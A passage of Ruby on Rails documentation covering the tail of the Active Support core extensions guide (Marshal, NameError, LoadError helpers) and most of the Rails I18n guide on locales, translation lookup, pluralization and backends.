The auxiliary file is written in a standard directory for temporary files, but you can pass a directory of your choice as second argument.

Defined in active_support/core_ext/file/atomic.rb.

18 Extensions to Marshal

18.1 load

Active Support adds constant autoloading support to load.

For example, the file cache store deserializes this way:

File.open(file_name) { |f| Marshal.load(f) }

If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.

If the argument is an IO it needs to respond to rewind to be able to retry. Regular files respond to rewind.

Defined in active_support/core_ext/marshal.rb.

19 Extensions to NameError

Active Support adds missing_name? to NameError, which tests whether the exception was raised because of the name passed as argument.

The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.

A symbol can represent a fully-qualified constant name as in :"ActiveRecord::Base", so the behavior for symbols is defined for convenience, not because it has to be that way technically.

For example, when an action of ArticlesController is called Rails tries optimistically to use ArticlesHelper. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that articles_helper.rb raises a NameError due to an actual unknown constant. That should be reraised. The method missing_name? provides a way to distinguish both cases:

def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end

Defined in active_support/core_ext/name_error.rb.

20 Extensions to LoadError

Active Support adds is_missing? to LoadError.

Given a path name is_missing? tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).

For example, when an action of ArticlesController is called Rails tries to load articles_helper.rb, but that file may not exist. That's fine, the helper module is not mandatory so Rails silences a load error. But it could be the case that the helper module does exist and in turn requires another library that is missing. In that case Rails must reraise the exception. The method is_missing? provides a way to distinguish both cases:

def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end

Defined in active_support/core_ext/load_error.rb.

Rails Internationalization (I18n) API...

1 How I18n in Ruby on Rails Works

Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:

- providing support for English and similar languages out of the box

- making it easy to customize and extend everything for other languages

As part of this solution, every static string in the Rails framework - e.g. Active Record validation messages, time and date formats - has been internationalized. Localization of a Rails application means defining translated values for these strings in desired languages.

1.1 The Overall Architecture of the Library

Thus, the Ruby I18n gem is split into two parts:

- The public API of the i18n framework - a Ruby module with public methods that define how the library works

- A default backend (which is intentionally named Simple backend) that implements these methods

As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section Using different backends below.

1.2 The Public I18n API

The most important methods of the I18n API are:

translate # Lookup text translations
localize  # Localize Date and Time objects to local formats

These have the aliases #t and #l so you can use them like this:

I18n.t 'store.title'
I18n.l Time.now

There are also attribute readers and writers for the following attributes:

load_path         # Announce your custom translation files
locale            # Get and set the current locale
default_locale    # Get and set the default locale
exception_handler # Use a different exception_handler
backend           # Use a different backend

So, let's internationalize a simple Rails application from the ground up in the next chapters!

2 Setup the Rails Application for Internationalization

There are a few steps to get up and running with I18n support for a Rails application.

2.1 Configure the I18n Module

Following the convention over configuration philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden.

Rails adds all .rb and .yml files from the config/locales directory to the translations load path, automatically.

The default en.yml locale in this directory contains a sample pair of translation strings:

en:
hello: "Hello world"

This means, that in the :en locale, the key hello will map to the Hello world string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the activemodel/lib/active_model/locale/en.yml file or time and date formats in the activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.

The I18n library will use English as a default locale, i.e. if a different locale is not set, :en will be used for looking up translations.

The i18n library takes a pragmatic approach to locale keys (after some discussion), including only the locale ("language") part, like :en, :pl, not the region part, like :en-US or :en-GB, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as :cs, :th or :es (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the :en-US locale you would have $ as a currency symbol, while in :en-GB, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a :en-GB dictionary. Few gems such as Globalize3 may help you implement it.

The translations load path (I18n.load_path) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme.

The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced.

The default config/application.rb file has instructions on how to add locales from another directory and how to set a different default locale.

# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de

The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of config/application.rb:

# config/initializers/locale.rb

# Where the I18n library should search for translation files
I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]

# Set default locale to something other than :en
I18n.default_locale = :pt

2.2 Managing the Locale across Requests

The default locale is used for all translations unless I18n.locale is explicitly set.

A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request.

The locale can be set in a before_action in the ApplicationController:

before_action :set_locale

def set_locale
I18n.locale = params[:locale] || I18n.default_locale
end

This example illustrates this using a URL query parameter to set the locale (e.g. http://example.com/books?locale=pt). With this approach, http://localhost:3000?locale=pt renders the Portuguese localization, while http://localhost:3000?locale=de loads a German localization.

The locale can be set using one of many different approaches.

2.2.1 Setting the Locale from the Domain Name

One option you have is to set the locale from the domain name where your application runs. For example, we want www.example.com to load the English (or default) locale, and www.example.es to load the Spanish locale. Thus the top-level domain name is used for locale setting. This has several advantages:

- The locale is an obvious part of the URL.

- People intuitively grasp in which language the content will be displayed.

- It is very trivial to implement in Rails.

- Search engines seem to like that content in different languages lives at different, inter-linked domains.

You can implement it like this in your ApplicationController:

before_action :set_locale

def set_locale
I18n.locale = extract_locale_from_tld || I18n.default_locale
end

# Get locale from top-level domain or return nil if such locale is not available
# You have to put something like:
#   127.0.0.1 application.com
#   127.0.0.1 application.it
#   127.0.0.1 application.pl
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
parsed_locale = request.host.split('.').last
I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end

We can also set the locale from the subdomain in a very similar way:

# Get locale code from request subdomain (like http://it.application.local:3000)
# You have to put something like:
#   127.0.0.1 gr.application.local
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end

If your application includes a locale switching menu, you would then have something like this in it:

link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}")

assuming you would set APP_CONFIG[:deutsch_website_url] to some value like http://www.application.de.

This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).

2.2.2 Setting the Locale from URL Params

The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the I18n.locale = params[:locale] before_action in the first example. We would like to have URLs like www.example.com/books?locale=ja or www.example.com/ja/books in this case.

This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.

Getting the locale from params and setting it accordingly is not hard; including it in every URL and thus passing it through the requests is. To include an explicit option in every URL, e.g. link_to(books_url(locale: I18n.locale)), would be tedious and probably impossible, of course.

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its ApplicationController#default_url_options, which is useful precisely in this scenario: it enables us to set "defaults" for url_for and helper methods dependent on it (by implementing/overriding default_url_options).

We can include something like this in our ApplicationController then:

# app/controllers/application_controller.rb
def default_url_options
{ locale: I18n.locale }
end

Every helper method dependent on url_for (e.g. helpers for named routes like root_path or root_url, resource routes like books_path or books_url, etc.) will now automatically include the locale in the query string, like this: http://localhost:3001/?locale=ja.

You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.

You probably want URLs to look like this: http://www.example.com/en/books (which loads the English locale) and http://www.example.com/nl/books (which loads the Dutch locale). This is achievable with the "over-riding default_url_options" strategy from above: you just have to set up your routes with scope:

# config/routes.rb
scope "/:locale" do
resources :books
end

Now, when you call the books_path method you should get "/en/books" (for the default locale). A URL like http://localhost:3001/nl/books should load the Dutch locale, then, and following calls to books_path should return "/nl/books" (because the locale changed).

Since the return value of default_url_options is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding I18n.locale in each iteration. Instead, leave I18n.locale untouched, and pass an explicit :locale option to the helper, or edit request.original_fullpath.

If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so:

# config/routes.rb
scope "(:locale)", locale: /en|nl/ do
resources :books
end

With this approach you will not get a Routing Error when accessing your resources such as http://localhost:3001/books without a locale. This is useful for when you want to use the default locale when one is not specified.

Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like http://localhost:3001/nl will not work automatically, because the root to: "books#index" declaration in your routes.rb doesn't take locale into account. (And rightly so: there's only one "root" URL.)

You would probably need to map URLs like these:

# config/routes.rb
get '/:locale' => 'dashboard#index'

Do take special care about the order of your routes, so this route declaration does not "eat" other ones. (You may want to add it directly before the root :to declaration.)

Have a look at various gems which simplify working with routes: routing_filter, rails-translate-routes, route_translator.

2.2.3 Setting the Locale from User Preferences

An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user.

def set_locale
I18n.locale = current_user.try(:locale) || I18n.default_locale
end

2.2.4 Choosing an Implied Locale

When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale.

2.2.4.1 Inferring Locale from the Language Header

The Accept-Language HTTP header indicates the preferred language for request's response. Browsers set this header value based on the user's language preference settings, making it a good first choice when inferring a locale.

A trivial implementation of using an Accept-Language header would be:

def set_locale
logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
I18n.locale = extract_locale_from_accept_language_header
logger.debug "* Locale set to '#{I18n.locale}'"
end

private
def extract_locale_from_accept_language_header
request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
end

In practice, more robust code is necessary to do this reliably. Iain Hecker's http_accept_language library or Ryan Tomayko's locale Rack middleware provide solutions to this problem.

2.2.4.2 Inferring the Locale from IP Geolocation

The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as GeoIP Lite Country or gems like geocoder can be used to implement this approach.

In general, this approach is far less reliable than using the language header and is not recommended for most web applications.

2.2.5 Storing the Locale from the Session or Cookies

You may be tempted to store the chosen locale in a session or a cookie. However, do not do this. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being RESTful. Read more about the RESTful approach in Stefan Tilkov's articles. Sometimes there are exceptions to this rule and those are discussed below.

3 Internationalization and Localization

OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests.

Next we need to internationalize our application by abstracting every locale-specific element. Finally, we need to localize it by providing necessary translations for these abstracts.

Given the following example:

# config/routes.rb
Rails.application.routes.draw do
root to: "home#index"
end

# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
before_action :set_locale

def set_locale
I18n.locale = params[:locale] || I18n.default_locale
end
end

# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = "Hello Flash"
end
end

# app/views/home/index.html.erb
<h1>Hello World</h1>
<p><%= flash[:notice] %></p>

3.1 Abstracting Localized Code

There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' #t helper with an appropriate key for each string:

# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
flash[:notice] = t(:hello_flash)
end
end

# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>

Now, when this view is rendered, it will show an error message which tells you that the translations for the keys :hello_world and :hello_flash are missing.

Rails adds a t (translate) helper method to your views so that you do not need to spell out I18n.t all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <span class="translation_missing">.

3.2 Providing Translations for Internationalized Strings

Add the missing translations into the translation dictionary files:

# config/locales/en.yml
en:
hello_world: Hello world!
hello_flash: Hello flash!

# config/locales/pirate.yml
pirate:
hello_world: Ahoy World
hello_flash: Ahoy Flash

Because the default_locale hasn't changed, translations use the :en locale and the response renders the english strings:

If the locale is set via the URL to the pirate locale (http://localhost:3000?locale=pirate), the response renders the pirate strings:

You need to restart the server when you add new locale files.

You may use YAML (.yml) or plain Ruby (.rb) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)

3.3 Passing Variables to Translations

One key consideration for successfully internationalizing an application is to avoid making incorrect assumptions about grammar rules when abstracting localized code. Grammar rules that seem fundamental in one locale may not hold true in another one.

Improper abstraction is shown in the following example, where assumptions are made about the ordering of the different parts of the translation. Note that Rails provides a number_to_currency helper to handle the following case.

# app/views/products/show.html.erb
<%= "#{t('currency')}#{@product.price}" %>

# config/locales/en.yml
en:
currency: "$"

# config/locales/es.yml
es:
currency: "€"

If the product's price is 10 then the proper translation for Spanish is "10 €" instead of "€10" but the abstraction cannot give it.

To create proper abstraction, the I18n gem ships with a feature called variable interpolation that allows you to use variables in translation definitions and pass the values for these variables to the translation method.

Proper abstraction is shown in the following example:

# app/views/products/show.html.erb
<%= t('product_price', price: @product.price) %>

# config/locales/en.yml
en:
product_price: "$%{price}"

# config/locales/es.yml
es:
product_price: "%{price} €"

All grammatical and punctuation decisions are made in the definition itself, so the abstraction can give a proper translation.

The default and scope keywords are reserved and can't be used as variable names. If used, an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable, but this has not been passed to #translate, an I18n::MissingInterpolationArgument exception is raised.

3.4 Adding Date/Time Formats

OK! Now let's add a timestamp to the view, so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option - by default the :default format is used.

# app/views/home/index.html.erb
<h1><%=t :hello_world %></h1>
<p><%= flash[:notice] %></p>
<p><%= l Time.now, format: :short %></p>

And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):

# config/locales/pirate.yml
pirate:
time:
formats:
short: "arrrround %H'ish"

So that would give you:

Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by translating Rails' defaults for your locale. See the rails-i18n repository at GitHub for an archive of various locale files. When you put such file(s) in config/locales/ directory, they will automatically be ready for use.

3.5 Inflection Rules For Other Locales

Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In config/initializers/inflections.rb, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.

3.6 Localized Views

Let's say you have a BooksController in your application. Your index action renders content in app/views/books/index.html.erb template. When you put a localized variant of this template: index.es.html.erb in the same directory, Rails will render content in this template, when the locale is set to :es. When the locale is set to the default locale, the generic index.html.erb view will be used. (Future Rails versions may well bring this automagic localization to assets in public, etc.)

You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.

3.7 Organization of Locale Files

When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disk. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

For example, your config/locales directory could look like this:

|-defaults
|---es.rb
|---en.rb
|-models
|---book
|-----es.rb
|-----en.rb
|-views
|---defaults
|-----es.rb
|-----en.rb
|---books
|-----es.rb
|-----en.rb
|---users
|-----es.rb
|-----en.rb
|---navigation
|-----es.rb
|-----en.rb

This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.

The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:

# config/application.rb
config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]

4 Overview of the I18n API Features

You should have a good understanding of using the i18n library now and know how to internationalize a basic Rails application. In the following chapters, we'll cover its features in more depth.

These chapters will show examples using both the I18n.translate method as well as the translate view helper method (noting the additional feature provide by the view helper method).

Covered are features like these:

- looking up translations

- interpolating data into translations

- pluralizing translations

- using safe HTML translations (view helper method only)

- localizing dates, numbers, currency, etc.

4.1 Looking up Translations

4.1.1 Basic Lookup, Scopes and Nested Keys

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

I18n.t :message
I18n.t 'message'

The translate method also takes a :scope option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:

I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]

This looks up the :record_invalid message in the Active Record error messages.

Additionally, both the key and scopes can be specified as dot-separated keys as in:

I18n.translate "activerecord.errors.messages.record_invalid"

Thus the following calls are equivalent:

I18n.t 'activerecord.errors.messages.record_invalid'
I18n.t 'errors.messages.record_invalid', scope: :activerecord
I18n.t :record_invalid, scope: 'activerecord.errors.messages'
I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]

4.1.2 Defaults

When a :default option is given, its value will be returned if the translation is missing:

I18n.t :missing, default: 'Not here'
# => 'Not here'

If the :default value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

E.g., the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result, the string "Not here" will be returned:

I18n.t :missing, default: [:also_missing, 'Not here']
# => 'Not here'

4.1.3 Bulk and Namespace Lookup

To look up multiple translations at once, an array of keys can be passed:

I18n.t [:odd, :even], scope: 'errors.messages'
# => ["must be odd", "must be even"]

Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive all Active Record error messages as a Hash with:

I18n.t 'activerecord.errors.messages'
# => {:inclusion=>"is not included in the list", :exclusion=> ... }

4.1.4 "Lazy" Lookup

Rails implements a convenient way to look up the locale inside views. When you have the following dictionary:

es:
books:
index:
title: "Título"

you can look up the books.index.title value inside app/views/books/index.html.erb template like this (note the dot):

<%= t '.title' %>

Automatic translation scoping by partial is only available from the translate view helper method.

"Lazy" lookup can also be used in controllers:

en:
books:
create:
success: Book created!

This is useful for setting flash messages for instance:

class BooksController < ApplicationController
def create
# ...
redirect_to books_url, notice: t('.success')
end
end

4.2 Pluralization

In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages (Arabic, Japanese, Russian and many more) have different grammars that have additional or fewer plural forms. Thus, the I18n API provides a flexible pluralization feature.

The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:

I18n.backend.store_translations :en, inbox: {
one: 'one message',
other: '%{count} messages'
}
I18n.translate :inbox, count: 2
# => '2 messages'

I18n.translate :inbox, count: 1
# => 'one message'

The algorithm for pluralizations in :en is as simple as:

entry[count == 1 ? 0 : 1]

I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).

If the lookup for the key does not return a Hash suitable for pluralization, an I18n::InvalidPluralizationData exception is raised.

4.3 Setting and Passing a Locale

The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.

If no locale is passed, I18n.locale is used:

I18n.locale = :de
I18n.t :foo
I18n.l Time.now

Explicitly passing a locale:

I18n.t :foo, locale: :de
I18n.l Time.now, locale: :de

The I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:

I18n.default_locale = :de

4.4 Using Safe HTML Translations

Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.

# config/locales/en.yml
en:
welcome: <b>welcome!</b>
hello_html: <b>hello!</b>
title:
html: <b>title!</b>

# app/views/home/index.html.erb
<div><%= t('welcome') %></div>
<div><%= raw t('welcome') %></div>
<div><%= t('hello_html') %></div>
<div><%= t('title.html') %></div>

Interpolation escapes as needed though. For example, given:

en:
welcome_html: "<b>Welcome %{username}!</b>"

you can safely pass the username as set by the user:

<%# This is safe, it is going to be escaped if needed. %>
<%= t('welcome_html', username: @current_user.username) %>

Safe strings on the other hand are interpolated verbatim.

Automatic conversion to HTML safe translate text is only available from the translate view helper method.

4.5 Translations for Active Record Models

You can use the methods Model.model_name.human and Model.human_attribute_name(attribute) to transparently look up translations for your model and attribute names.

For example when you add the following translations:

en:
activerecord:
models:
user: Dude
attributes:
user:
login: "Handle"
# will translate User attribute "login" as "Handle"

Then User.model_name.human will return "Dude" and User.human_attribute_name("login") will return "Handle".

You can also set a plural form for model names, adding as following:

en:
activerecord:
models:
user:
one: Dude
other: Dudes

Then User.model_name.human(count: 2) will return "Dudes". With count: 1 or without params will return "Dude".

In the event you need to access nested attributes within a given model, you should nest these under model/attribute at the model level of your translation file:

en:
activerecord:
attributes:
user/gender:
female: "Female"
male: "Male"

Then User.human_attribute_name("gender.female") will return "Female".

If you are using a class which includes ActiveModel and does not inherit from ActiveRecord::Base, replace activerecord with activemodel in the above key paths.

4.5.1 Error Message Scopes

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.

This gives you quite powerful means to flexibly adjust your messages to your application's needs.

Consider a User model with a validation for the name attribute like this:

class User < ApplicationRecord
validates :name, presence: true
end

The key for the error message in this case is :blank. Active Record will look up this key in the namespaces:

activerecord.errors.models.[model_name].attributes.[attribute_name]
activerecord.errors.models.[model_name]
activerecord.errors.messages
errors.attributes.[attribute_name]
errors.messages

Thus, in our example it will try the following keys in this order and return the first result:

activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

When your models are additionally using inheritance then the messages are looked up in the inheritance chain.

For example, you might have an Admin model inheriting from User:

class Admin < User
validates :name, presence: true
end

Then Active Record will look for messages in this order:

activerecord.errors.models.admin.attributes.name.blank
activerecord.errors.models.admin.blank
activerecord.errors.models.user.attributes.name.blank
activerecord.errors.models.user.blank
activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank

This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.

4.5.2 Error Message Interpolation

The translated model name, translated attribute name, and value are always available for interpolation.

So, for example, instead of the default error message "cannot be blank" you could use the attribute name like this : "Please fill in your %{attribute}".

- count, where available, can be used for pluralization if present:

validation

with option

message

interpolation

confirmation

-

:confirmation

attribute

acceptance

-

:accepted

-

presence

-

:blank

-

absence

-

:present

-

length

:within, :in

:too_short

count

length

:within, :in

:too_long

count

length

:is

:wrong_length

count

length

:minimum

:too_short

count

length

:maximum

:too_long

count

uniqueness

-

:taken

-

format

-

:invalid

-

inclusion

-

:inclusion

-

exclusion

-

:exclusion

-

associated

-

:invalid

-

numericality

-

:not_a_number

-

numericality

:greater_than

:greater_than

count

numericality

:greater_than_or_equal_to

:greater_than_or_equal_to

count

numericality

:equal_to

:equal_to

count

numericality

:less_than

:less_than

count

numericality

:less_than_or_equal_to

:less_than_or_equal_to

count

numericality

:other_than

:other_than

count

numericality

:only_integer

:not_an_integer

-

numericality

:odd

:odd

-

numericality

:even

:even

-

4.5.3 Translations for the Active Record error_messages_for Helper

If you are using the Active Record error_messages_for helper, you will want to add translations for it.

Rails ships with the following translations:

en:
activerecord:
errors:
template:
header:
one:   "1 error prohibited this %{model} from being saved"
other: "%{count} errors prohibited this %{model} from being saved"
body:    "There were problems with the following fields:"

In order to use this helper, you need to install DynamicForm gem by adding this line to your Gemfile: gem 'dynamic_form'.

4.6 Translations for Action Mailer E-Mail Subjects

If you don't pass a subject to the mail method, Action Mailer will try to find it in your translations. The performed lookup will use the pattern <mailer_scope>.<action_name>.subject to construct the key.

# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
#...
end
end

en:
user_mailer:
welcome:
subject: "Welcome to Rails Guides!"

To send parameters to interpolation use the default_i18n_subject method on the mailer.

# user_mailer.rb
class UserMailer < ActionMailer::Base
def welcome(user)
mail(to: user.email, subject: default_i18n_subject(user: user.name))
end
end

en:
user_mailer:
welcome:
subject: "%{user}, welcome to Rails Guides!"

4.7 Overview of Other Built-In Methods that Provide I18n Support

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.

4.7.1 Action View Helper Methods

- distance_of_time_in_words translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See datetime.distance_in_words translations.

- datetime_select and select_month use translated month names for populating the resulting select tag. See date.month_names for translations. datetime_select also looks up the order option from date.order (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the datetime.prompts scope if applicable.

- The number_to_currency, number_with_precision, number_to_percentage, number_with_delimiter, and number_to_human_size helpers use the number format settings located in the number scope.

4.7.2 Active Model Methods

- model_name.human and human_attribute_name use translations for model names and attribute names if available in the activerecord.models scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".

- ActiveModel::Errors#generate_message (which is used by Active Model validations but may also be used manually) uses model_name.human and human_attribute_name (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".

- ActiveModel::Errors#full_messages prepends the attribute name to the error message using a separator that will be looked up from errors.format (and which defaults to "%{attribute} %{message}").

4.7.3 Active Support Methods

- Array#to_sentence uses format settings as given in the support.array scope.

5 How to Store your Custom Translations

The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[2]

For example a Ruby Hash providing translations can look like this:

{
pt: {
foo: {
bar: "baz"
}
}
}

The equivalent YAML file would look like this:

pt:
foo:
bar: baz

As you see, in both cases the top level key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".

Here is a "real" example from the Active Support en.yml translations YAML file:

en:
date:
formats:
default: "%Y-%m-%d"
short: "%b %d"
long: "%B %d, %Y"

So, all of the following equivalent lookups will return the :short date format "%b %d":

I18n.t 'date.formats.short'
I18n.t 'formats.short', scope: :date
I18n.t :short, scope: 'date.formats'
I18n.t :short, scope: [:date, :formats]

Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.

6 Customize your I18n Setup

6.1 Using Different Backends

For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" for Ruby on Rails[3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.

That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:

I18n.backend = Globalize::Backend::Static.new

You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:

I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)

6.2 Using Different Exception Handlers

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

MissingTranslationData       # no translation was found for the requested key
InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path

The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught, it will return the exception's error message string containing the missing key/scope.

The reason for this is that during development you'd usually want your views to still render even though a translation is missing.

In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with #call method:

module I18n
class JustRaiseExceptionHandler < ExceptionHandler
def call(exception, locale, key, options)
if exception.is_a?(MissingTranslationData)
raise exception.to_exception
else
super
end
end
end
end

I18n.exception_handler = I18n::JustRaiseExceptionHandler.new

This would re-raise only the MissingTranslationData exception, passing all other input to the default exception handler.

However, if you are using I18n::Backend::Pluralization this handler will also raise I18n::MissingTranslationData: translation missing: en.i18n.plural.rule exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:

if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule'
raise exception.to_exception
else
super
end

Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context, the helper wraps the message into a span with the CSS class translation_missing.

To do so, the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:

I18n.t :foo, raise: true # always re-raises exceptions from the backend

7 Conclusion

At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.

If you want to discuss certain portions or have questions, please sign up to the rails-i18n mailing list.

8 Contributing to Rails I18n

